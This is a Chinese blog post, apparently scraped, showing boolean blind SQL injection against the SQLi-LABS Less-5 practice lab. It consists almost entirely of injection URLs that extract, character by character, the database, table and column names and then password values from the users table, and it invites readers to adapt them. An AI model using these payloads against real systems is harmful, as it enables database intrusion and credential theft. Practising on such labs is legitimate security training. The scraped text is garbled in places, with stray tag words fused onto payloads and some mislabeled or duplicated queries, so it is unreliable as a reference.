SQL布尔盲注-（针对SQLi-LABS Page-1(Basic Challenges)第五关）

时间 2021-01-02

标签 sql spa orm table form select 栏目 SQL 繁體版

原文原文链接

库操做

库名长度

http://localhost/sqli/Less-5/?id=1'and (length(database())=10)--+sql

其余库长度

http://localhost/sqli/Less-5/?id=1'and (length((select schema_name from information_schema.schemata limit 0,1))=6)--+spa

求本库名字符

http://localhost/sqli/Less-5/?id=1'and (ascii(substr(database(),1,1))>32)--+orm

求其余库名字符

http://localhost/sqli/Less-5/?id=1'and (ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>32)--+ci

表操做

表长度

http://localhost/sqli/Less-5/?id=1'and (length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6)--+it

第二个表长度

http://localhost/sqli/Less-5/?id=1'and (length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=6)--+io

第一个表名第一个字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32)--+table

第一个表名第二个字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>32)--+form

第二个表名第一个字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>32)--+select

第二个表名第二个字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>32)--+im

字段操做

求字段长度

http://localhost/sqli/Less-5/?id=1'and(length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1))=2)--+

求第二个字段长度

http://localhost/sqli/Less-5/?id=1'and(length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1))=2)--+

求第一个字段第一个字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>32)--+

求第一个字段第二个字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>32)--+

求第二个字段第一个字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),1,1))>32)--+

求第二个字段第二个字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),2,1))>32)--+

数据操做

求第一个数据长度

http://localhost/sqli/Less-5/?id=1'and(length((select password from security.users limit 0,1))=32)--+

求第二个数据长度

http://localhost/sqli/Less-5/?id=1'and(length((select password from security.users limit 1,1))=32)--+

求第一个数据的第一个字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select password from security.users limit 0,1),1,1))>32)--+

求第一个数据的第二个字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select password from security.users limit 0,1),2,1))>32)--+

能够根据以上信息总结公式进行改编套用。